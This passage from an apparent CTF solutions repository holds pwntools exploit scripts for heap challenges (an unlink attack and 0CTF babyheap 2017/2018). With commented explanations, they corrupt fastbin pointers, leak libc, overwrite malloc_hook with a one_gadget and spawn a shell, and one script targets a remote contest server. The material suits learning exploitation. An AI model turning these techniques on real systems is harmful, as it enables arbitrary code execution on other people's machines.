13 | # list out of three malloc'd chunks: A <--> B <--> C. 14 | # * The `gets` called on A's buffer allows you to clobber B's forward and 15 | # backwards pointers. So, when you call `unlink` on B, you have a write-what- 16 | # where vulnerability 17 | # * Our initial thought would be to overwrite the return value with the address 18 | # of the `shell` function. This doesn't work because `unlink` actually 19 | # performs *two* writes. One writes BK to FD->bk and the other writes 20 | # FD to BK->fd. Thus, both FD and BK need to be set to *writable* addresses, 21 | # and the address of `shell`, being in the .text region, is not writable. 22 | # * A second idea might be to overwrite the return address with a heap address 23 | # and execute shellcode from our buffer on the heap. Alas, NX is enabled 24 | # so this strategy will fail as well. 25 | # * The trick involves the binary's strange epilogue for `main`: 26 | # ``` 27 | # 0x080485f7 <+200>: add esp,0x10 28 | # 0x080485fa <+203>: mov eax,0x0 29 | # 0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4] 30 | # 0x08048602 <+211>: leave 31 | # 0x08048603 <+212>: lea esp,[ecx-0x4] 32 | # 0x08048606 <+215>: ret 33 | # ``` 34 | # * Notice that at 0x08048603, esp is set to ecx-0x4, which is in turn equal 35 | # to [ebp-0x4]. The idea is as follows: by writing to ebp-0x4, which is on 36 | # the stack, we can set the value of esp to point to wherever we want. 37 | # * The address that the program returns to is determined by what address 38 | # esp is pointing to. So, if we have esp point to an address that we control, 39 | # we can return to wherever we want. What's an address we control? The heap. 40 | # * Critically, since both the heap and the stack are writable, we won't 41 | # segfault during the two writes of `unlink` 42 | # * Our overflow looks like this: 43 | # 44 | # ------------------ 45 | # | shell() addr | <--- Start of A's buffer 46 | # +----------------+ 47 | # | AAAA | <--- End of A's buffer 48 | # A +----------------+ 49 | # | AAAA | <--- Size of chunk B 50 | # +----------------+ 51 | # | AAAA | <--- NULL 52 | # -----+----------------+ 53 | # B | ebp - 0x4 - 0x4| <--- B's forward pointer 54 | # +----------------+ 55 | # | &(A->buf) | <--- B's backwards pointer 56 | # ------------------ 57 | # 58 | # * We set FD to ebp - 0x4 - 0x4 such that when we write to FD->bk, we are 59 | # writing to ebp - 0x4 60 | # * We can compute ebp - 0x4 - 0x4 from our leaked stack address and 61 | # &(A->buf) from our leaked heap address. (Offsets are +20 and +12 resp.) 62 | 63 | def attack(): 64 | s = ssh(host=host, user=user, password=password, port=port) 65 | p = s.process(['./unlink']) 66 | 67 | # leaks 68 | stack_address = p.readline() 69 | stack_address = int(stack_address[stack_address.index('0x') + 2:-1],16) 70 | heap_address = p.readline() 71 | heap_address = int(heap_address[heap_address.index('0x') + 2:-1],16) 72 | p.readline() 73 | 74 | # offsets / addresses 75 | ebp = stack_address + 5 * 4 76 | FD = ebp - 2 * 4 # ebp - 0x4 - 0x4 77 | BK = heap_address + 3 * 4 # &(A->buf) 78 | shell = 0x080484eb 79 | 80 | # exploit 81 | overflow = p32(shell) + 'A' * 12 + p32(FD) + p32(BK) 82 | p.sendline(overflow) 83 | p.interactive() 84 | 85 | if __name__ == '__main__': 86 | attack() 87 | -------------------------------------------------------------------------------- /heap/0ctfbabyheap2018/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.log_level= 'debug' 4 | context.terminal = ['tmux', 'splitw', '-h'] 5 | 6 | if len(sys.argv) > 1 and sys.argv[1] == 'remote': 7 | p = remote("202.120.7.204", 127 ) 8 | one_gadget_offset = 0x3f35a 9 | else: 10 | p = process("./babyheap") 11 | one_gadget_offset = 0x4526a 12 | main_arena_offset = 0x3c4b20 13 | if len(sys.argv) > 1 and sys.argv[1] == 'gdb': 14 | gdb.attach(p, """ 15 | set disassembly-flavor intel 16 | """) 17 | # b *(0x555555554000 + 0x119b) 18 | # b *(0x555555554000 + 0xe88) 19 | # b *(0x555555554000 + 0xfa9) 20 | # b *(0x555555554000 + 0xd54) 21 | # b *(0x555555554000 + 0x10C2) 22 | 23 | def alloc(size): 24 | p.recvuntil("Command: ") 25 | p.sendline("1") 26 | p.sendline(str(size)) 27 | 28 | def update(idx, size, content): 29 | p.recvuntil("Command: ") 30 | p.sendline("2") 31 | p.sendline(str(idx)) 32 | p.sendline(str(size)) 33 | p.sendline(content) 34 | 35 | def delete(idx): 36 | p.recvuntil("Command: ") 37 | p.sendline("3") 38 | p.sendline(str(idx)) 39 | 40 | def view(index): 41 | p.readuntil("Command: ") 42 | p.sendline("4") 43 | p.readuntil("Index: ") 44 | p.sendline(str(index)) 45 | p.readuntil("Chunk[" + str(index) + "]: ") 46 | content = p.readline() 47 | return content 48 | 49 | 50 | print "[-]Leak and setup phase" 51 | alloc(24) # idx 0 52 | alloc(16) 53 | alloc(72) # Overlap smallbin with this fastbin so we can view metadata 54 | alloc(24) 55 | alloc(16) # idx 4 56 | 57 | # This is for exploit phase. Get a fastbin chunk in main_arena freelist for later 58 | alloc(88) 59 | delete(5) 60 | 61 | # One-byte overflow vuln 62 | update(0, 25, "A"*24 + "\x91") # last byte is new size for chunk idx 1. Smallbin sized 63 | 64 | update(3, 24, 'B'*16 + p64(0x90)) # Set prev_size of smallbin chunk's nextchunk 65 | 66 | delete(1) # Free forged smallbin chunk 67 | 68 | alloc(24) # alloc a new fastbin size, will be broken off the start of the freed smallbin chunk 69 | 70 | # Smallbin metadata (main_arena freelist ptrs) now overlaps with chunk 2 71 | arena_leak = u64(view(2)[:8]) 72 | print "main_arena leak: ", hex(arena_leak) 73 | 74 | libc_base = arena_leak - 0x3c4b78 75 | print "libc_base addr: ", hex(libc_base) 76 | 77 | main_arena = libc_base + main_arena_offset 78 | malloc_hook = main_arena - 0x10 79 | print "malloc_hook addr: ", hex(malloc_hook) 80 | 81 | one_gadget = libc_base + one_gadget_offset 82 | 83 | # Exploit phase 84 | print "[-]Exploit phase" 85 | 86 | # We are going to use fastbin dup attack to allocate a fastbin over the main_arena, so we can modify main_arena->top to point to malloc_hook 87 | # We have to have a populated fastbin freelist so we can use its 0x55/0x56 as the size field for our fake chunk 88 | # We did this in part 1 89 | 90 | # Now that we have a populated fastbin in main_arena, get the address of the fake chunk with size 0x56 91 | aligned_main_arena_chunk = main_arena + 0x25 92 | print "aligned_main_arena_chunk: ", hex(aligned_main_arena_chunk) 93 | 94 | # Allocate two chunks of fastbin size 0x50 95 | alloc(64) #This one is broken off fake smallbin chunk 96 | alloc(64) 97 | delete(6) # free something else 98 | delete(5) # free fastbin chunk that overlaps fastbin chunk 2 99 | 100 | # Corrupt fd ptr of fastbin chunk 5, using chunk2, to our fake chunk over main_arena 101 | update(2, 8, p64(aligned_main_arena_chunk)) 102 | 103 | alloc(64) 104 | alloc(64) # This alloc returns chunk over main_arena. idx 6 105 | 106 | # Modify top field of main_arena to point to malloc_hook 107 | update(6, 43, "B"*35 + p64(malloc_hook-16)) 108 | 109 | # Now, allocate something over malloc_hook 110 | # Has to be a new size, so it's served from top chunk and not a bin 111 | alloc(40) # idx 7 112 | 113 | # update malloc_hook to one_gadget 114 | update(7, 8, p64(one_gadget)) 115 | 116 | # # Trigger malloc_hook one_gadget 117 | alloc(22) 118 | 119 | p.interactive() 120 | -------------------------------------------------------------------------------- /heap/0ctfbabyheap2017_aslr/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = process("./0ctfbabyheap") 4 | if len(sys.argv) > 1 and sys.argv[1] == 'gdb': 5 | gdb.attach(r, """set disassembly-flavor intel 6 | b main 7 | """) 8 | 9 | def alloc(size): 10 | r.sendline('1') 11 | r.sendlineafter(': ', str(size)) 12 | print r.recvuntil(': ', timeout=1) 13 | 14 | def fill(idx, data): 15 | r.sendline('2') 16 | r.sendlineafter(': ', str(idx)) 17 | r.sendlineafter(': ', str(len(data))) 18 | r.sendafter(': ', data) 19 | r.recvuntil(': ') 20 | 21 | def free(idx): 22 | r.sendline('3') 23 | r.sendlineafter(': ', str(idx)) 24 | r.recvuntil(': ') 25 | 26 | def dump(idx): 27 | r.sendline('4') 28 | r.sendlineafter(': ', str(idx)) 29 | r.recvuntil(': \n') 30 | data = r.recvline() 31 | r.recvuntil(': ') 32 | return data 33 | 34 | # This solution was inspired by this writeup: 35 | # http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html 36 | 37 | ################################################################################ 38 | # # 39 | # L E A K # 40 | # # 41 | ################################################################################ 42 | 43 | # Now that ASLR is on, we'll need to leak a libc address before we can proceed 44 | # with the prior exploit. Our initial thought might be to overwrite a forward 45 | # pointer with the GOT address so that we can read from it, but since PIE is 46 | # enabled, we don't know where the GOT is. 47 | 48 | # There are many viable approaches. Here, we'll use a *partial overwrite*. 49 | # Since ASLR doesn't mess with the last few bytes of addresses, we can change 50 | # the address of a forward pointer of a fastbin to point to a smallbin, so that 51 | # we end up with a fastbin and smallbin at the same address. 52 | 53 | alloc(20) # 0 <-- fasbin which we'll use to overwrite the two below it 54 | alloc(20) # 1 <---- two fastbins which we'll use to overwrite a fd pointer 55 | alloc(20) # 2 <-/ 56 | alloc(20) # 3 <-- fastbin which we'll use to toggle the size of the smallbin 57 | alloc(200) # 4 <-- our smallbin 58 | alloc(20) # 5 <-- fastbin to prevent smallbin from coalescing when we free it 59 | 60 | free(2) 61 | free(1) 62 | 63 | # change last byte of fd pointer to make it point to our smallbin 64 | fill(0, 'A' * 0x18 + p64(0x21) + '\x80') # it might not end at 0x80 for you! 65 | 66 | # change the size of the smallbin to fool malloc into thinking it's a fastbin 67 | fill(3, 'B' * 0x18 + p64(0x21)) 68 | 69 | # re-allocate 2 chunks. the second chunk now points to our smallbin 70 | alloc(20) # 1 71 | alloc(20) # 2 72 | 73 | # change the size of the smallbin back to its real size 74 | fill(3, 'B' * 0x18 + p64(0xd1)) 75 | 76 | # free our small bin to get some libc addresses 77 | free(4) 78 | 79 | # read from our fastbin / smallbin to get the addresses 80 | leak = dump(2) 81 | 82 | libc_addr = u64(leak[:8]) 83 | libc_offset = 0x3c27b8 84 | libc_base = libc_addr - libc_offset 85 | print('libc_base: {0}'.format(libc_base)) 86 | 87 | # obviously these constants are specific to your libc 88 | malloc_hook = 0x3c2740 + libc_base 89 | main_arena_ptr = malloc_hook - 35 90 | one_gadget = 0x4647c + libc_base 91 | 92 | alloc(200) # 4 <-- reclaim our smallbin so that we can start the pwn phase fresh 93 | 94 | ################################################################################ 95 | # # 96 | # P W N # 97 | # # 98 | ################################################################################ 99 | 100 | # this phase is the exact same as the exploit in the version without ASLR on 101 | 102 | alloc(100) # 6 | 103 | alloc(100) # 7 |----- first, create 3 adjacent chunks in the 0x70-size fastbin 104 | alloc(100) # 8 | 105 | 106 | free(8) # then free the last two chunks, creating a fastbin list of length 2 107 | free(7) 108 | 109 | # now, we'll overflow chunk 6 to corrupt the fd pointer for chunk 1 110 | fill(6, 'A' * 0x68 + p64(0x71) + p64(main_arena_ptr)) 111 | 112 | alloc(100) # 7 113 | alloc(100) # 8 114 | 115 | fill(8, 'A' * (malloc_hook - (main_arena_ptr + 16)) + p64(one_gadget)) 116 | 117 | # at this point we've overwritten malloc_hook with one_gadget. Any call to 118 | # malloc() will pop a shell. 119 | alloc(1) 120 | r.interactive() 121 | -------------------------------------------------------------------------------- /heap/0ctfbabyheap2017/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = process("./0ctfbabyheap") 4 | if len(sys.argv) > 1 and sys.argv[1] == 'gdb': 5 | gdb.attach(r, """set disassembly-flavor intel 6 | b main 7 | """) 8 | 9 | def alloc(size): 10 | r.sendline('1') 11 | r.sendlineafter(': ', str(size)) 12 | print r.recvuntil(': ', timeout=1) 13 | 14 | def fill(idx, data): 15 | r.sendline('2') 16 | r.sendlineafter(': ', str(idx)) 17 | r.sendlineafter(': ', str(len(data))) 18 | r.sendafter(': ', data) 19 | r.recvuntil(': ') 20 | 21 | def free(idx): 22 | r.sendline('3') 23 | r.sendlineafter(': ', str(idx)) 24 | r.recvuntil(': ') 25 | 26 | def dump(idx): 27 | r.sendline('4') 28 | r.sendlineafter(': ', str(idx)) 29 | r.recvuntil(': \n') 30 | data = r.recvline() 31 | r.recvuntil(': ') 32 | return data 33 | 34 | # We're given an arbitrary heap overflow. Our strategy will be to finagle 35 | # the heap such that we're given an address in the main arena after a malloc(). 36 | # We'll then overwrite malloc_hook with one_gadget to win. 37 | 38 | malloc_hook = 0x7ffff7dd3740 # obviously, these three constants are 39 | main_arena_ptr = 0x7ffff7dd371d # specific to your copy of libc. 40 | one_gadget = 0x7ffff7a11000 + 0x4647c 41 | 42 | alloc(100) # 0 | 43 | alloc(100) # 1 |----- first, create 3 adjacent chunks in the 0x70-size fastbin 44 | alloc(100) # 2 | 45 | 46 | free(2) # then free the last two chunks, creating a fastbin list of length 2 47 | free(1) # fastbin[5]: 0x555555757070 --> 0x5555557570e0 --> 0x0 48 | 49 | # at this point our heap looks like this: 50 | # notice that the fd pointer of the chunk at 0x555555757070 points to our second 51 | # free chunk at 00005555557570E0 52 | ''' 53 | 0x555555757000: 0000000000000000 0000000000000071 | <-- index 0 (allocated) 54 | 0x555555757010: 0000000000000000 0000000000000000 | 55 | 0x555555757020: 0000000000000000 0000000000000000 | 56 | 0x555555757030: 0000000000000000 0000000000000000 | 57 | 0x555555757040: 0000000000000000 0000000000000000 | 58 | 0x555555757050: 0000000000000000 0000000000000000 | 59 | 0x555555757060: 0000000000000000 0000000000000000 | 60 | 0x555555757070: 0000000000000000 0000000000000071 | <-- index 1 (free) 61 | 0x555555757080: 00005555557570E0 0000000000000000 | <-- fd pointer 62 | 0x555555757090: 0000000000000000 0000000000000000 | 63 | 0x5555557570A0: 0000000000000000 0000000000000000 | 64 | 0x5555557570B0: 0000000000000000 0000000000000000 | 65 | 0x5555557570C0: 0000000000000000 0000000000000000 | 66 | 0x5555557570D0: 0000000000000000 0000000000000000 | 67 | 0x5555557570E0: 0000000000000000 0000000000000071 | <-- index 2 (free) 68 | 0x5555557570F0: 0000000000000000 0000000000000000 | 69 | 0x555555757100: 0000000000000000 0000000000000000 | 70 | 0x555555757110: 0000000000000000 0000000000000000 | 71 | 0x555555757120: 0000000000000000 0000000000000000 | 72 | 0x555555757130: 0000000000000000 0000000000000000 | 73 | 0x555555757140: 0000000000000000 0000000000000000 | 74 | 0x555555757150: 0000000000000000 0000000000020EB1 | <-- top chunk 75 | ''' 76 | 77 | # now, we'll overflow chunk 0 to corrupt the fd pointer for chunk 1 78 | fill(0, 'A' * 0x68 + p64(0x71) + p64(main_arena_ptr)) 79 | 80 | # after this, fastbin[5] looks like: 0x555555757070 --> 0x7ffff7dd371d --> ... 81 | ''' 82 | 0x555555757000: 0000000000000000 0000000000000071 | <-- index 0 (allocated) 83 | 0x555555757010: 0000000000000000 0000000000000000 | 84 | 0x555555757020: 0000000000000000 0000000000000000 | 85 | 0x555555757030: 0000000000000000 0000000000000000 | 86 | 0x555555757040: 0000000000000000 0000000000000000 | 87 | 0x555555757050: 0000000000000000 0000000000000000 | 88 | 0x555555757060: 0000000000000000 0000000000000000 | 89 | 0x555555757070: 0000000000000000 0000000000000071 | <-- index 1 (free) 90 | 0x555555757080: 00007ffff7dd371d 0000000000000000 | <-- fd pointer 91 | 0x555555757090: 0000000000000000 0000000000000000 | 92 | 0x5555557570A0: 0000000000000000 0000000000000000 | 93 | 0x5555557570B0: 0000000000000000 0000000000000000 | 94 | 0x5555557570C0: 0000000000000000 0000000000000000 | 95 | 0x5555557570D0: 0000000000000000 0000000000000000 | 96 | 0x5555557570E0: 0000000000000000 0000000000000071 | <-- index 2 (free) 97 | 0x5555557570F0: 0000000000000000 0000000000000000 | 98 | 0x555555757100: 0000000000000000 0000000000000000 | 99 | 0x555555757110: 0000000000000000 0000000000000000 | 100 | 0x555555757120: 0000000000000000 0000000000000000 | 101 | 0x555555757130: 0000000000000000 0000000000000000 | 102 | 0x555555757140: 0000000000000000 0000000000000000 | 103 | 0x555555757150: 0000000000000000 0000000000020EB1 | <-- top chunk 104 | ''' 105 | 106 | # We chose 0x7ffff7dd371d because it was a pointer to the main_arena such that 107 | # BYTE PTR *( + 8) = 0x7f: 108 | 109 | ''' 110 | 0x7ffff7dd371d: fff7a94fc0000000 000000000000007f | <-- ends in 0x7f, 111 | 0x7ffff7dd372d: fff7a94f60000000 000000000000007f | fools malloc 112 | 0x7ffff7dd373d: 0000000000000000 0000000000000000 | into thinking 113 | 0x7ffff7dd374d: 0000000000000000 0000000000000000 | this is a valid 114 | 0x7ffff7dd375d: 0000000000000000 0000000000000000 | fastbin chunk 115 | ''' 116 | 117 | # malloc_hook is located at 0x7ffff7dd3740 118 | 119 | alloc(100) # 1 (will have address 0x555555757070 + 16) 120 | alloc(100) # 2 (will have address 0x7ffff7dd371d + 16) 121 | 122 | fill(2, 'A' * (malloc_hook - (main_arena_ptr + 16)) + p64(one_gadget)) 123 | 124 | # at this point we've overwritten malloc_hook with one_gadget. Any call to 125 | # malloc() will pop a shell. 126 | alloc(1) 127 | r.interactive() 128 | --------------------------------------------------------------------------------